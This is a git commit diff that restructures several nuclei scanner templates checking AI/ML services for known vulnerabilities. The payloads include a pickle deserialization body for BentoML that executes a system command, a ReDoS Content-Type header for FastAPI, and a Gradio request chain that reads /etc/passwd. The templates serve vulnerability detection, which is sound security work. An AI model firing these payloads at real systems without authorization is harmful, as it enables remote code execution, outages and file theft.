feat: change some templates structure to make it readable and fix fastapi-dos template
parent
19796edfed
commit
ba0171f6c4
|
@ -13,7 +13,7 @@ info:
|
||||||
cwe-id: CWE-1188 # Insecure Default Initialization of Resource
|
cwe-id: CWE-1188 # Insecure Default Initialization of Resource
|
||||||
tags: bentoml, rce, deserialization, protectai, huntr, ai, machine-learning
|
tags: bentoml, rce, deserialization, protectai, huntr, ai, machine-learning
|
||||||
|
|
||||||
requests:
|
http:
|
||||||
- method: POST
|
- method: POST
|
||||||
path:
|
path:
|
||||||
- "{{BaseURL}}/summarize"
|
- "{{BaseURL}}/summarize"
|
||||||
|
@ -21,6 +21,7 @@ requests:
|
||||||
Content-Type: "application/vnd.bentoml+pickle"
|
Content-Type: "application/vnd.bentoml+pickle"
|
||||||
body: !!binary |
|
body: !!binary |
|
||||||
gASVJAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAlwcm90ZWN0YWmUhZRSlC4=
|
gASVJAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAlwcm90ZWN0YWmUhZRSlC4=
|
||||||
|
|
||||||
matchers-condition: and
|
matchers-condition: and
|
||||||
matchers:
|
matchers:
|
||||||
- type: word
|
- type: word
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
id: fastapi-redos
|
id: fastapi-redos
|
||||||
info:
|
info:
|
||||||
name: Check FastAPI ReDoS Vulnerability in Form Data Parsing
|
name: Check FastAPI ReDoS Vulnerability in Form Data Parsing
|
||||||
author: DanMcInerney, byt3bl33d3r, nicecatch2000
|
author: DanMcInerney, byt3bl33d3r, nicecatch2000, daffainfo
|
||||||
severity: high
|
severity: high
|
||||||
description: Checks for ReDoS vulnerability in FastAPI when parsing form data with a malicious Content-Type header.
|
description: Checks for ReDoS vulnerability in FastAPI when parsing form data with a malicious Content-Type header.
|
||||||
reference:
|
reference:
|
||||||
|
@ -11,13 +11,18 @@ info:
|
||||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
|
||||||
cwe-id: CWE-400 # Resource Exhaustion
|
cwe-id: CWE-400 # Resource Exhaustion
|
||||||
tags: fastapi, redos, dos, vulnerability, ai, ml, protectai, huntr
|
tags: fastapi, redos, dos, vulnerability, ai, ml, protectai, huntr
|
||||||
requests:
|
|
||||||
- method: POST
|
http:
|
||||||
path:
|
- raw:
|
||||||
- "{{BaseURL}}/submit/"
|
- |+
|
||||||
headers:
|
POST /submit/ HTTP/1.1
|
||||||
Content-Type: "application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'"
|
Host: {{Hostname}}
|
||||||
body: "input=1"
|
Accept: */*
|
||||||
|
Content-Type: application/x-www-form-urlencoded; !="\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
|
||||||
|
Content-Length: 7
|
||||||
|
|
||||||
|
input=1
|
||||||
|
unsafe: true
|
||||||
matchers-condition: and
|
matchers-condition: and
|
||||||
matchers:
|
matchers:
|
||||||
- type: status
|
- type: status
|
||||||
|
@ -25,5 +30,7 @@ requests:
|
||||||
- 500
|
- 500
|
||||||
- 502
|
- 502
|
||||||
- 504
|
- 504
|
||||||
- type: time
|
|
||||||
time: 5000 # Milliseconds, you may adjust this threshold based on expected response times
|
- type: dsl
|
||||||
|
dsl:
|
||||||
|
- 'duration>=5'
|
|
@ -1,7 +1,7 @@
|
||||||
id: gradio-local-file-include
|
id: gradio-local-file-include
|
||||||
info:
|
info:
|
||||||
name: Gradio Local File Read Vulnerability
|
name: Gradio Local File Read Vulnerability
|
||||||
author: ozelis, DanMcInerney
|
author: ozelis, DanMcInerney, daffainfo
|
||||||
severity: high
|
severity: high
|
||||||
description: This nuclei template checks for Local File Read vulnerability in Gradio applications.
|
description: This nuclei template checks for Local File Read vulnerability in Gradio applications.
|
||||||
reference:
|
reference:
|
||||||
|
@ -13,7 +13,9 @@ info:
|
||||||
cve-id: CVE-2024-1561
|
cve-id: CVE-2024-1561
|
||||||
tags: gradio, lfi, local-file-include, python, api, ai, machine-learning, huntr
|
tags: gradio, lfi, local-file-include, python, api, ai, machine-learning, huntr
|
||||||
|
|
||||||
requests:
|
flow: http(1) && http(2) && http(3)
|
||||||
|
|
||||||
|
http:
|
||||||
- method: GET
|
- method: GET
|
||||||
path:
|
path:
|
||||||
- "{{BaseURL}}/config"
|
- "{{BaseURL}}/config"
|
||||||
|
@ -26,20 +28,18 @@ requests:
|
||||||
json:
|
json:
|
||||||
- ".components[0].id"
|
- ".components[0].id"
|
||||||
|
|
||||||
- method: POST
|
- raw:
|
||||||
path:
|
- |
|
||||||
- "{{BaseURL}}/component_server"
|
POST /component_server HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
Content-Type: application/json
|
||||||
|
|
||||||
headers:
|
{
|
||||||
Content-Type: application/json
|
"component_id": "{{component_id}}",
|
||||||
|
"data": "/etc/passwd",
|
||||||
body: |
|
"fn_name": "move_resource_to_block_cache",
|
||||||
{
|
"session_hash": "aaaaaaaaaaa"
|
||||||
"component_id": "{{component_id}}",
|
}
|
||||||
"data": "/etc/passwd",
|
|
||||||
"fn_name": "move_resource_to_block_cache",
|
|
||||||
"session_hash": "aaaaaaaaaaa"
|
|
||||||
}
|
|
||||||
|
|
||||||
extractors:
|
extractors:
|
||||||
- type: regex
|
- type: regex
|
||||||
|
@ -48,16 +48,16 @@ requests:
|
||||||
internal: true
|
internal: true
|
||||||
group: 1
|
group: 1
|
||||||
regex:
|
regex:
|
||||||
- "\"(.+)\""
|
- '"(.+)"'
|
||||||
|
|
||||||
- method: GET
|
- method: GET
|
||||||
path:
|
path:
|
||||||
- "{{BaseURL}}/file={{extracted_content}}"
|
- "{{BaseURL}}/file={{extracted_content}}"
|
||||||
|
|
||||||
matchers-condition: and
|
matchers-condition: and
|
||||||
|
|
||||||
matchers:
|
matchers:
|
||||||
- type: regex
|
- type: regex
|
||||||
|
part: body
|
||||||
regex:
|
regex:
|
||||||
- "root:.*:0:0:"
|
- "root:.*:0:0:"
|
||||||
|
|
||||||
|
|
|
@ -13,7 +13,6 @@ info:
|
||||||
cwe-id: CWE-29
|
cwe-id: CWE-29
|
||||||
tags: ray,ml,cve,huntr,protectai
|
tags: ray,ml,cve,huntr,protectai
|
||||||
|
|
||||||
|
|
||||||
http:
|
http:
|
||||||
- method: GET
|
- method: GET
|
||||||
path:
|
path:
|
||||||
|
|
Loading…
Reference in New Issue